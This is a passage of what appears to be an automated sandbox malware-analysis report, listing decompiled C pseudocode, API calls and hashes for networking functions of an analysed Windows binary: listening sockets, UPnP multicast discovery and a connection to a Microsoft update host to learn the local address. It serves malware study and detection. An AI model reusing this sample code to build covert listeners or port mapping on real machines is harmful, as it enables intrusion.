                                                                                                                                                                                                                                                                                                                                                      0x0040eaf0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eaff
                                                                                                                                                                                                                                                                                                                                                      0x0040eb08
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb0a
                                                                                                                                                                                                                                                                                                                                                      0x0040eb10
                                                                                                                                                                                                                                                                                                                                                      0x0040eb15
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb1e
                                                                                                                                                                                                                                                                                                                                                      0x0040eb27
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb2a
                                                                                                                                                                                                                                                                                                                                                      0x0040eb2f
                                                                                                                                                                                                                                                                                                                                                      0x0040eb31
                                                                                                                                                                                                                                                                                                                                                      0x0040eb41
                                                                                                                                                                                                                                                                                                                                                      0x0040eb46
                                                                                                                                                                                                                                                                                                                                                      0x0040eb47
                                                                                                                                                                                                                                                                                                                                                      0x0040eb4a
                                                                                                                                                                                                                                                                                                                                                      0x0040eb31
                                                                                                                                                                                                                                                                                                                                                      0x0040eb5f
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6e
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetSystemInfo.KERNEL32(?), ref: 0040EA13
                                                                                                                                                                                                                                                                                                                                                      • InitializeCriticalSection.KERNEL32(00000020), ref: 0040EA27
                                                                                                                                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040EA35
                                                                                                                                                                                                                                                                                                                                                      • CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040EA4E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040B9E0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040B9FE
                                                                                                                                                                                                                                                                                                                                                      • WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 0040EA7B
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32 ref: 0040EAA1
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(?), ref: 0040EAD1
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(?,00000004,00000010), ref: 0040EAE7
                                                                                                                                                                                                                                                                                                                                                      • listen.WS2_32(?,7FFFFFFF), ref: 0040EAFF
                                                                                                                                                                                                                                                                                                                                                      • WSACreateEvent.WS2_32 ref: 0040EB0A
                                                                                                                                                                                                                                                                                                                                                      • WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040EB1E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BAB4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: CreateThread.KERNEL32 ref: 0040BB0F
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BB4C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BB57
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: DuplicateHandle.KERNEL32(00000000), ref: 0040BB5E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BB72
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1603358586-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 29d514f06fac32b0521d297ad27dfc356eb1a27d55eceb2ed083663fc1e4d1c5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 29ede9370597d42b44937fb40e685a0c9b27d964348c1a69c07157101753e0da
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 29d514f06fac32b0521d297ad27dfc356eb1a27d55eceb2ed083663fc1e4d1c5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C3417270640702BBD320DF799C4AF5677B4AF44710F108A29F569E62D0E7B8E454C799
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C470 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000002,00000011), ref: 0040C48A
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(0000076C), ref: 0040C4C0
                                                                                                                                                                                                                                                                                                                                                      • inet_addr.WS2_32(239.255.255.250), ref: 0040C4CF
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C4ED
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: htons.WS2_32(00000050), ref: 0040945D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: socket.WS2_32(00000002,00000001,00000000), ref: 0040947D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: connect.WS2_32(000000FF,?,00000010), ref: 00409496
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: getsockname.WS2_32(000000FF,?,00000010), ref: 004094C8
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(000000FF,?,00000010), ref: 0040C523
                                                                                                                                                                                                                                                                                                                                                      • lstrlenA.KERNEL32(00410558,00000000,?,00000010), ref: 0040C53C
                                                                                                                                                                                                                                                                                                                                                      • sendto.WS2_32(000000FF,00410558,00000000), ref: 0040C54B
                                                                                                                                                                                                                                                                                                                                                      • ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C565
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C3CE
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: Sleep.KERNEL32(000003E8), ref: 0040C3DE
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C3FB
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C411
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: StrChrA.SHLWAPI(?,0000000D), ref: 0040C43E
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
                                                                                                                                                                                                                                                                                                                                                      • String ID: 239.255.255.250
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 726339449-2186272203
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6cb456ca4b4d98b988cc4d8591a9fad763652915446821cf3340a621afa360b3
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 4e43f78864f74199b6524c038bac31db25b540ee7daf9e396398e7af886f919c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6cb456ca4b4d98b988cc4d8591a9fad763652915446821cf3340a621afa360b3
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E1410AB4E00208EBDB14DFE4D889BEEBBB5AF48304F108569E505B7290D7B55A44CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D790 Relevance: 9.1, APIs: 6, Instructions: 77networkthreadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 44%
                                                                                                                                                                                                                                                                                                                                                      			E0040D790(intOrPtr __edi, void* __esi) {
				short _v8;
				short _v14;
				short _v18;
				short _v22;
				short _v24;
				short _v26;
				short _v28;
				short _v30;
				char _v33;
				char _v52;
				void* __ebx;
				void* _t21;
				short _t24;
				void* _t25;
				void* _t30;
				void* _t31;
				intOrPtr _t38;
				void* _t39;

				_t39 = __esi;
				_t38 = __edi;
				if(__esi == 0 || __edi == 0) {
					return 0;
				} else {
					_t31 = E004089F0(0x24);
					 *_t31 = 0x756470;
					 *(_t31 + 4) = 0;
					_t21 = CreateEventA(0, 1, 0, 0);
					 *(_t31 + 0x10) = _t21;
					__imp__#23(2, 2, 0x11, _t30);
					 *(_t31 + 8) = _t21;
					if(_t21 == 0xffffffff) {
						E0040DBF0(_t31, __edi);
						_t31 = 0;
					}
					if(_t31 == 0) {
						L8:
						return _t31;
					}
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_t24 = _v8;
					_v24 = _t24;
					_v28 = 2;
					__imp__#9(_t39);
					_v30 = _t24;
					_v33 = 1;
					_t25 =  *(_t31 + 8);
					__imp__#21(_t25, 0xffff, 4,  &_v33, 1);
					__imp__#2( *(_t31 + 8),  &_v52, 0x10);
					if(_t25 != 0xffffffff) {
						 *((intOrPtr*)(_t31 + 0xc)) = _t38;
						 *((intOrPtr*)(_t31 + 0x14)) = CreateThread(0, 0, E0040D9C0, _t31, 0, 0);
						goto L8;
					}
					E0040DBF0(_t31, _t38);
					return 0;
				}
			}





















                                                                                                                                                                                                                                                                                                                                                      0x0040d790
                                                                                                                                                                                                                                                                                                                                                      0x0040d790
                                                                                                                                                                                                                                                                                                                                                      0x0040d798
                                                                                                                                                                                                                                                                                                                                                      0x0040d884
                                                                                                                                                                                                                                                                                                                                                      0x0040d7a6
                                                                                                                                                                                                                                                                                                                                                      0x0040d7b5
                                                                                                                                                                                                                                                                                                                                                      0x0040d7bb
                                                                                                                                                                                                                                                                                                                                                      0x0040d7c1
                                                                                                                                                                                                                                                                                                                                                      0x0040d7c8
                                                                                                                                                                                                                                                                                                                                                      0x0040d7d4
                                                                                                                                                                                                                                                                                                                                                      0x0040d7d7
                                                                                                                                                                                                                                                                                                                                                      0x0040d7dd
                                                                                                                                                                                                                                                                                                                                                      0x0040d7e3
                                                                                                                                                                                                                                                                                                                                                      0x0040d7e5
                                                                                                                                                                                                                                                                                                                                                      0x0040d7ea
                                                                                                                                                                                                                                                                                                                                                      0x0040d7ea
                                                                                                                                                                                                                                                                                                                                                      0x0040d7ee
                                                                                                                                                                                                                                                                                                                                                      0x0040d87e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d880
                                                                                                                                                                                                                                                                                                                                                      0x0040d7f6
                                                                                                                                                                                                                                                                                                                                                      0x0040d7fa
                                                                                                                                                                                                                                                                                                                                                      0x0040d7fe
                                                                                                                                                                                                                                                                                                                                                      0x0040d802
                                                                                                                                                                                                                                                                                                                                                      0x0040d807
                                                                                                                                                                                                                                                                                                                                                      0x0040d811
                                                                                                                                                                                                                                                                                                                                                      0x0040d815
                                                                                                                                                                                                                                                                                                                                                      0x0040d81a
                                                                                                                                                                                                                                                                                                                                                      0x0040d829
                                                                                                                                                                                                                                                                                                                                                      0x0040d82e
                                                                                                                                                                                                                                                                                                                                                      0x0040d833
                                                                                                                                                                                                                                                                                                                                                      0x0040d83c
                                                                                                                                                                                                                                                                                                                                                      0x0040d84d
                                                                                                                                                                                                                                                                                                                                                      0x0040d856
                                                                                                                                                                                                                                                                                                                                                      0x0040d872
                                                                                                                                                                                                                                                                                                                                                      0x0040d87b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d87b
                                                                                                                                                                                                                                                                                                                                                      0x0040d858
                                                                                                                                                                                                                                                                                                                                                      0x0040d863
                                                                                                                                                                                                                                                                                                                                                      0x0040d863

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040D7C8
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000002,00000011), ref: 0040D7D7
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(00009E34), ref: 0040D81A
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32(?,0000FFFF), ref: 0040D83C
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(?,00000004,00000010), ref: 0040D84D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: SetEvent.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC01
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC0D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: CloseHandle.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC17
                                                                                                                                                                                                                                                                                                                                                      • CreateThread.KERNEL32 ref: 0040D875
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4174406920-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 72907a1eed7ed23599397569ec9d760de3aeddb7e8bd30c8643aa495f33e17f8
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2c8017b3a3cee6b39d43f74eaf8bde73116b2d39b786a202065b94a306b2e908
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 72907a1eed7ed23599397569ec9d760de3aeddb7e8bd30c8643aa495f33e17f8
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6021B5B5A44301AFE710EFB48C8AB5776A0AF44710F50C979FA14DB2C2D7F8C948876A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040B430 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 58%
                                                                                                                                                                                                                                                                                                                                                      			E0040B430(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				intOrPtr _t43;

				_v12 = _a16;
				if(_a16 != 0xffffffff) {
					_v12 = GetTickCount() + _v12;
				}
				_v8 = _a8;
				while(1) {
					_v16 = 0;
					_t38 = _a4;
					__imp__#10(_t38, 0x4004667f,  &_v16);
					if(_t38 == 0xffffffff) {
						break;
					}
					if(_v16 > 0) {
						if(_v16 >= _a12) {
							_v24 = _a12;
						} else {
							_v24 = _v16;
						}
						_t43 = _a4;
						__imp__#16(_t43, _v8, _v24, 0);
						_v20 = _t43;
						if(_v20 > 0) {
							if(_a16 != 0xffffffff) {
								_v12 = GetTickCount() + _a16;
							}
							_a12 = _a12 - _v20;
							_v8 = _v8 + _v20;
						}
					}
					Sleep(1);
					if(GetTickCount() > _v12 || _a12 == 0) {
						L15:
						return 0 | _a12 == 0x00000000;
					} else {
						continue;
					}
				}
				goto L15;
			}










                                                                                                                                                                                                                                                                                                                                                      0x0040b439
                                                                                                                                                                                                                                                                                                                                                      0x0040b440
                                                                                                                                                                                                                                                                                                                                                      0x0040b44b
                                                                                                                                                                                                                                                                                                                                                      0x0040b44b
                                                                                                                                                                                                                                                                                                                                                      0x0040b451
                                                                                                                                                                                                                                                                                                                                                      0x0040b454
                                                                                                                                                                                                                                                                                                                                                      0x0040b454
                                                                                                                                                                                                                                                                                                                                                      0x0040b464
                                                                                                                                                                                                                                                                                                                                                      0x0040b468
                                                                                                                                                                                                                                                                                                                                                      0x0040b471
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b479
                                                                                                                                                                                                                                                                                                                                                      0x0040b481
                                                                                                                                                                                                                                                                                                                                                      0x0040b48e
                                                                                                                                                                                                                                                                                                                                                      0x0040b483
                                                                                                                                                                                                                                                                                                                                                      0x0040b486
                                                                                                                                                                                                                                                                                                                                                      0x0040b486
                                                                                                                                                                                                                                                                                                                                                      0x0040b49b
                                                                                                                                                                                                                                                                                                                                                      0x0040b49f
                                                                                                                                                                                                                                                                                                                                                      0x0040b4a5
                                                                                                                                                                                                                                                                                                                                                      0x0040b4ac
                                                                                                                                                                                                                                                                                                                                                      0x0040b4b2
                                                                                                                                                                                                                                                                                                                                                      0x0040b4bd
                                                                                                                                                                                                                                                                                                                                                      0x0040b4bd
                                                                                                                                                                                                                                                                                                                                                      0x0040b4c6
                                                                                                                                                                                                                                                                                                                                                      0x0040b4cf
                                                                                                                                                                                                                                                                                                                                                      0x0040b4cf
                                                                                                                                                                                                                                                                                                                                                      0x0040b4ac
                                                                                                                                                                                                                                                                                                                                                      0x0040b4d4
                                                                                                                                                                                                                                                                                                                                                      0x0040b4e3
                                                                                                                                                                                                                                                                                                                                                      0x0040b4ef
                                                                                                                                                                                                                                                                                                                                                      0x0040b4fb
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b4e3
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040B442
                                                                                                                                                                                                                                                                                                                                                      • ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040B468
                                                                                                                                                                                                                                                                                                                                                      • recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040B49F
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040B4B4
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001), ref: 0040B4D4
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040B4DA
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CountTick$Sleepioctlsocketrecv
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 107502007-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0e74c3e33ec2aa28ec98663b20a66f0c617acb5feec16327e560d5d77fbe482d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: dff8c7912a27c6a5c6132b561c84afc017a05247b3f7c72140559f4e4359e496
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0e74c3e33ec2aa28ec98663b20a66f0c617acb5feec16327e560d5d77fbe482d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A1310A74900209EFCB04DFA4D948AEE7BB1FF48314F10866AE925A3291D7749B90CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409430 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 16%
                                                                                                                                                                                                                                                                                                                                                      			E00409430() {
				intOrPtr _v8;
				short _v10;
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				short _v30;
				short _v34;
				short _v38;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v48;
				intOrPtr _t28;
				char* _t30;

				_v8 = 0xffffffff;
				_v24 = 0;
				_v22 = 0;
				_v18 = 0;
				_v14 = 0;
				_v10 = 0;
				_v24 = 2;
				__imp__#9(0x50);
				_v22 = 0;
				_t28 = E004093F0("www.update.microsoft.com");
				_v20 = _t28;
				__imp__#23(2, 1, 0);
				_v28 = _t28;
				if(_v28 != 0xffffffff) {
					_t30 =  &_v24;
					__imp__#4(_v28, _t30, 0x10);
					if(_t30 == 0) {
						_v44 = 0;
						_v42 = 0;
						_v38 = 0;
						_v34 = 0;
						_v30 = 0;
						_v48 = 0x10;
						__imp__#6(_v28,  &_v44,  &_v48);
						_v8 = _v40;
					}
					E004094F0(_v28);
				}
				return _v8;
			}




















                                                                                                                                                                                                                                                                                                                                                      0x00409436
                                                                                                                                                                                                                                                                                                                                                      0x0040943f
                                                                                                                                                                                                                                                                                                                                                      0x00409445
                                                                                                                                                                                                                                                                                                                                                      0x00409448
                                                                                                                                                                                                                                                                                                                                                      0x0040944b
                                                                                                                                                                                                                                                                                                                                                      0x0040944e
                                                                                                                                                                                                                                                                                                                                                      0x00409457
                                                                                                                                                                                                                                                                                                                                                      0x0040945d
                                                                                                                                                                                                                                                                                                                                                      0x00409463
                                                                                                                                                                                                                                                                                                                                                      0x0040946c
                                                                                                                                                                                                                                                                                                                                                      0x00409474
                                                                                                                                                                                                                                                                                                                                                      0x0040947d
                                                                                                                                                                                                                                                                                                                                                      0x00409483
                                                                                                                                                                                                                                                                                                                                                      0x0040948a
                                                                                                                                                                                                                                                                                                                                                      0x0040948e
                                                                                                                                                                                                                                                                                                                                                      0x00409496
                                                                                                                                                                                                                                                                                                                                                      0x0040949e
                                                                                                                                                                                                                                                                                                                                                      0x004094a2
                                                                                                                                                                                                                                                                                                                                                      0x004094a8
                                                                                                                                                                                                                                                                                                                                                      0x004094ab
                                                                                                                                                                                                                                                                                                                                                      0x004094ae
                                                                                                                                                                                                                                                                                                                                                      0x004094b1
                                                                                                                                                                                                                                                                                                                                                      0x004094b5
                                                                                                                                                                                                                                                                                                                                                      0x004094c8
                                                                                                                                                                                                                                                                                                                                                      0x004094d1
                                                                                                                                                                                                                                                                                                                                                      0x004094d1
                                                                                                                                                                                                                                                                                                                                                      0x004094d8
                                                                                                                                                                                                                                                                                                                                                      0x004094dd
                                                                                                                                                                                                                                                                                                                                                      0x004094e6

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(00000050), ref: 0040945D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 004093F0: inet_addr.WS2_32(00409471), ref: 004093FA
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 004093F0: gethostbyname.WS2_32(?), ref: 0040940D
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000001,00000000), ref: 0040947D
                                                                                                                                                                                                                                                                                                                                                      • connect.WS2_32(000000FF,?,00000010), ref: 00409496
                                                                                                                                                                                                                                                                                                                                                      • getsockname.WS2_32(000000FF,?,00000010), ref: 004094C8
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • www.update.microsoft.com, xrefs: 00409467
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID: www.update.microsoft.com
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4063137541-1705189816
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 61682ff06a6437a6f57e339153625ea7f5920ee8b5e39cee4b88707769928f7d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 95a71ca33063cdb158bfe8a4e5dd4910bfcb1506d7a5175e69760843b0b70449
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 61682ff06a6437a6f57e339153625ea7f5920ee8b5e39cee4b88707769928f7d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 20213EB4E142099BCB04DFE8D946AEFBBB4AF4C300F104169E509F3391E7B45A45DB69
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

